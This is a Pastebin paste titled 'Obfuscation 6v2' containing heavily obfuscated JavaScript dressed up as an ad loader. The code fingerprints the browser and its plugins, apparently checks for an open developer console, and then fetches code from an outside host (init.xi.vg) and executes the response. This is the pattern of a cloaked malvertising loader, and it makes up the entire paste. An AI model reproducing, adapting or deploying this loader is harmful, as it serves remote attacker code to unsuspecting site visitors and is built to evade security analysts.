SHARE
TWEET

Obfuscation 6v2

StanislavPipa Aug 16th, 2019 (edited) 132 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var URL = "https://init.xi.vg/ads/mobile.php?alert";
  2.  
  3. +function(){
  4.   var chunk, evenly, final, compact, other, determined;
  5.  
  6.   function difference(rank, suit) {
  7.     return suit ? rank[0].toUpperCase()+rank.substring(1) : rank.toLowerCase();
  8.   }
  9.  
  10.   function concat (suit) { return suit.split('').reverse().join('') }
  11.  
  12.   function iteratee(rank, suit) { return new RegExp(rank, suit) }
  13.  
  14.   function identity(data) {
  15.     var props = Object.keys(data), tmps = props.map(function (prop) {
  16.       return data[prop];
  17.     });
  18.     return props.concat(tmps);
  19.   }
  20.  
  21.   function sum(el, suit) {
  22.     return suit ? Object.keys(el) : Object.keys(el).map(function (prop) {
  23.         return el[prop];
  24.       });
  25.   }
  26.  
  27.   function accepts(rank, suit) { return rank.slice(suit[0], suit[1]) }
  28.  
  29.   function invoked(data) {
  30.     return data.reduce(function (acc, sec) { return acc.concat(sec) })
  31.   }
  32.  
  33.   function drop(arg) { evenly = window; return arg.toString() }
  34.  
  35.   function greet(rank) {
  36.     return rank.map(function (suit) {
  37.       return suit.reduce(function (acc, next, key) {
  38.         if (key === 1){ return [acc, next] } var uniq = true;
  39.         acc.forEach(function (el) {
  40.           if (next === el) { uniq = false }
  41.         });
  42.  
  43.         if (uniq) { acc.push(next); return acc }
  44.         return acc;
  45.       });
  46.     })
  47.   }
  48.   var equality = 'gi';
  49.  
  50.   function gaps (data, rank) {
  51.     if (!rank.and){ return data.slice(rank.propEq) }
  52.     return data.slice(rank.propEq, rank.and);
  53.   }
  54.  
  55.   function adjust(suit, el) { return el.map(function (prop) { return suit[prop] }); }
  56.  
  57.   function contains(combinator, any, otherwise) {
  58.     return otherwise ? any in (combinator||evenly): combinator in (any||evenly);
  59.   }
  60.  
  61.   var fixedArity = function(bug, plus, gin) { return name ? bug.light = plus + gin : plus + 9 };
  62.  
  63.   var applySpec = function(element, alt) { return alt.slice(element).style };
  64.  
  65.   var sameTypes = function(open, tent, kit) {
  66.     var persis = kit.slice(tent.web), data = open.screen, color = depth.BASE;
  67.     return persis.propertyName||color.pth;
  68.   };
  69.  
  70.   var included = '[a-zA-Z]';
  71.   var value = function(bar, rect, bly) {
  72.     if (rect) { bar = rect.tent.match(bly) } else { bar = 'webside' }
  73.     return assem.concat(bar);
  74.   };
  75.  
  76.   setTimeout(function() {
  77.     chunk = navigator; function aperture (rank, sick, stop) {
  78.       var tmp = drop(1234).split(''), reg = [3.5,3.7,3.12,3.7].map(function(el) {
  79.         return '{'+el.toString().replace('.', ',')+'}';
  80.       }); determined = new Date;
  81.  
  82.       var map = rank.map(function(el, ind) {
  83.         return drop(el).match(iteratee(included+reg[ind], equality));
  84.       });
  85.  
  86.       tmp = tmp.map(function(el) { return Number(el) });
  87.       compact = sick;
  88.  
  89.       var empty = greet(map).map(function(els, key) {
  90.         if (key === tmp[key] - 1 && key === tmp[2]) {
  91.           var res = [difference(accepts(els[7], [0, -4]), true) + difference(els[9], true)+els[3],
  92.             stop([accepts(els[7], [3]), els[1]]), stop([accepts(els[10], [0, -3])+ els[4]]),
  93.             difference(els[2], true)].map(function(tmp, ind) {
  94.             return ind === 3 ? !contains(tmp) : contains(tmp) }); res.push(1);
  95.           return res;
  96.         }
  97.         if (key === tmp[key] - 1 && key === tmp[1]) {
  98.           return [(contains((els[5]+els[2]).toUpperCase())||compact.prototype[stop([els[7],els[3],difference(els[6], true)])]),
  99.             contains(els[1]+difference(els[8], true)+difference(els[12])),
  100.             evenly[els[9]][els[10]+difference(els[11], true)],
  101.             !(Object[stop(['getOwn',difference(els[14], true),'s'])](evenly[els[9]])[0]+'').match(els[15])];
  102.         }
  103.         if (key === tmp[key] - 1 && key === tmp[3]-4) {
  104.           final = document; return [2,3].map(function(el, ind) {
  105.             return ind === 0 ? contains('De'+els[el]) : !(chunk[stop([accepts(els[el], [0, -1]),els[4],'s'])][1] &&
  106.               chunk[stop([accepts(els[el], [0, -1]),els[4],'s'])][1][els[6]].match(els[7]))
  107.           });
  108.         }
  109.         if (key === tmp[key] - 1 && key === tmp[0]) {
  110.           return contains(els[2], final[accepts(final.nodeName, [1])+difference(els[1], true)][els[5]]);
  111.         }
  112.       });
  113.  
  114.       return empty.map(function(tmp) {
  115.         if (typeof tmp === 'boolean') { return tmp }
  116.         else {return tmp.reduce(function(acc, sec) { return acc && sec })}
  117.       });
  118.     }
  119.     dispatcher = aperture([fixedArity, applySpec, sameTypes, value], Blob, poof);
  120.   }, 100);
  121.  
  122.   function poof(data) {
  123.     return data.reduce(function(acc, sec) {
  124.       return acc + sec;
  125.     });
  126.   }
  127.  
  128.     var least = { security: "gen", HTTP: "java", pagead: "enabled", google: "com", syndication: 'h2' },
  129.       dispatcher, converge, arity, divide, produce;
  130.  
  131.   setTimeout(function() {
  132.     function curry(el) { return identity(el).slice(0, -1) }
  133.  
  134.     var capabilities = curry(least), ls = 204;
  135.     converge = contains(capabilities[0], final) ? 4 : dispatcher[0] ? 2 : 1;
  136.  
  137.     function partial(sute, dist, uniq, non) {
  138.       var tmp = poof([uniq[1],'s://',uniq[2],'2.',gaps(uniq, {propEq:3, and:-4 }).join(''),'.']);
  139.       if (!sute || dist || uniq || !non) {
  140.         return {s:sute,d:dist,u: (poof([tmp,uniq[8],'/',uniq[2],'/',uniq[5],'_',ls,'?'])).toLowerCase(),n:non};
  141.       } else if (!sute && !dist && !uniq || !non) {
  142.         return {d: tmp,u:uniq};
  143.       } else {
  144.         return {y: sute.concat(dist), x: tmp};
  145.       }
  146.     }
  147.  
  148.     arity = partial(0,[],capabilities,dispatcher[2]?6:2);
  149.     function regardless(set, data, list) {
  150.       var curried = gaps(capabilities, {propEq:6, and:-1 });
  151.       return typeof (evenly[curry(data, [78])[0]]) == typeof set ||
  152.         (list[curried[0]+difference(curried[1], true)]+[]).match(/"/);
  153.     }
  154.  
  155.     divide = regardless(fixedArity, least, chunk);
  156.  
  157.     produce = dispatcher[3]||dispatcher[0]?/"/:order;
  158.  }, 200);
  159.  
  160.  var duplicates = { add: "prevented",  listen: "request",  load: "status",  response: "Text" };
  161.  
  162.  setTimeout(function() {
  163.    function cond(data, keys) { return keys.map(function(key) { return data[key] }) }
  164.  
  165.    function truthy(prop, key) { return key ? Object.keys(prop) : [Object.keys(prop)[1], 'get'] }
  166.  
  167.    dissoc = function(list,suit,rank){
  168.      var els1 = truthy(least), els2 = truthy(duplicates, suit);
  169.  
  170.      suit = new evenly[suit+difference(els1[0].toLowerCase(), true)+
  171.        difference(duplicates.listen, true)]();
  172.      suit.open(els1[1], list);
  173.      suit[poof([els2[0],difference(accepts(duplicates.add, [2, -2]), els1),
  174.      difference(els2[1], true),'er'])](els2[2], function() {
  175.        this.readyState==4 && this[duplicates.load]==200 && rank(this[els2[3]+duplicates.response])()
  176.      });
  177.      suit.send();
  178.    }
  179.  }, 300);
  180.  
  181.  function foo(array) {
  182.    var constr = array.reduce(function(proto, ctor) { return proto.u = ctor.type });
  183.    return constr;
  184.  }
  185.  var order = new Image();
  186.  
  187.  function either(suit, rank){
  188.    var el = drop(foo).match( iteratee(included+'{4,6}', equality));
  189.    dissoc(suit, rank, evenly[difference(el[1], el)][el[9]+el[11]].join[poof([el[2]+'u'+el[10]])]);
  190.  }
  191.  
  192.  var given = { user: { irafas: 'egde', tnedirt: 'xoferif' } };
  193.  
  194.  setTimeout(function() {
  195.    function evolve(data, folder) {
  196.      var suit = [], els = []; other = performance;
  197.      Object.keys(data).map(function(key) {
  198.        var props = Object.keys(data[key]).map(function(el) {
  199.          return identity(data[key][el]);
  200.        })[0];
  201.        props.push(Object.keys(data[key])[0]); return props;
  202.      })[0].map(function(el, ind) {
  203.        if (ind === 4) { return suit.push(el + difference(Object.keys(data)[0], 9));
  204.        } else if (ind < 4){ return els.push(concat(el)) }
  205.      });
  206.  
  207.      var res = els.map(function(el, ind) {
  208.        var exp = iteratee(el, equality), usr = folder[suit.join('')];
  209.        if (ind > 0 && ind < 3) {
  210.          return usr.match(exp) && dispatcher[0];
  211.        } else if (ind > 2) {
  212.          return usr.match(exp) && dispatcher[3];
  213.        } else if (ind === 0) {
  214.          return usr.match(exp) && (dispatcher[2] || dispatcher[1]);
  215.        }
  216.  
  217.      });
  218.      return [res[3],res[0],res[1],res[2]].reduce(function(acc, sec) { return acc || sec });
  219.    }
  220.  
  221.    given = evolve({agent: given}, chunk);
  222.  }, 400);
  223.  
  224.  var tomato = { to: 'max', id: 'point', on: 'touch', toggle: 'getter' };
  225.  
  226.  function func(arg, data) {
  227.    data = '';
  228.    if (arg.length > tomato.length) {
  229.      return arg.map(function(el, ind) { return ind > 5 ? data[el] : data[ind] });
  230.    } else { converge-- }
  231.    return data;
  232.  }
  233.  
  234.  function filter(arg, suit, field, check){
  235.    var prop = Object.keys(arg); tomato.to = !(suit[2]&&!(field[poof([arg.to,
  236.    difference(arg.on, check),difference(arg.id, field),'s'])]||check(poof([prop[2],arg.on,'start']))));
  237.  }
  238.  
  239.  setTimeout(function() { filter(tomato, dispatcher, chunk, contains) }, 500);
  240.  
  241.  function flip (entr, source){
  242.    var hop = typeof this.get(entr); hop.next = source.Proto;
  243.    return hop;
  244.  }
  245.  
  246.  function gol(keys) {
  247.    return keys ? 'sole' : keys.con;
  248.  }
  249.  
  250.  function present (method, el, data) {
  251.    return function() {
  252.      if (!method[data[0]] || !other[data[0]](data[2]).length) { either(URL, 'XML');
  253.      } else { method[data[0]](data[2]).forEach(function(a) {
  254.          a.name.match(arity.u)&&(a[data[1]] || least.syndication).slice(~arity.d)==arity.n&&either(URL, 'XML');
  255.        });
  256.      }
  257.    };
  258.  }
  259.  
  260.  function pars(obj, keys) {
  261.    var els = drop(obj).match(iteratee(included+'{3}', 'gi'));
  262.    var tmp = keys.map(function(key, ind) {
  263.      return ind === 2 ? concat(els[key]) : ind === 1 ? els[key] +'e' : els[key];
  264.    });
  265.    return [tmp[0] + tmp[1], tmp[2]];
  266.  }
  267.  
  268.  function flatten (data) {
  269.    var res = [];
  270.    for (var i = 0; i < 3; i++){
  271.      if (i > 1) {
  272.        res.push('re'+data[3]);
  273.      } else if (i < 1) {
  274.        res.push(poof([data[8],difference(data[9], true),
  275.          'iesBy',difference(data[6].slice(0, -2), true)]));
  276.      } else {
  277.        res.push(poof([data[11],difference(data[15], 1),data[13],'col']));
  278.      }
  279.    }
  280.    return res;
  281.  }
  282.  
  283.  setTimeout(function() {
  284.    var initAdsLoader = function(a, b) {
  285.        if (given) {
  286.          if (a && tomato.to) {
  287.            produce[poof(['__','define',difference(tomato.toggle, true),'__'])](dispatcher[3]||
  288.            dispatcher[0]?Object.keys(tomato)[0]+difference(typeof tomato.id, true):'id', func) ;
  289.  
  290.            produce.id = gaps(Object.keys(tomato), {propEq: 2 }).join('');
  291.            evenly[b[0]][b[1]](produce);
  292.  
  293.            var suit = drop(flip).match(iteratee(included+'{3,6}', equality));
  294.  
  295.            order.onerror = present(other, suit, flatten(suit));
  296.            converge && (order.src = poof([arity.u, (determined).getTime()]));
  297.          }
  298.        }
  299.      };
  300.  
  301.    initAdsLoader(!divide, pars(gol, [9,7,2]));
  302.  }, 500);
  303. }();
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top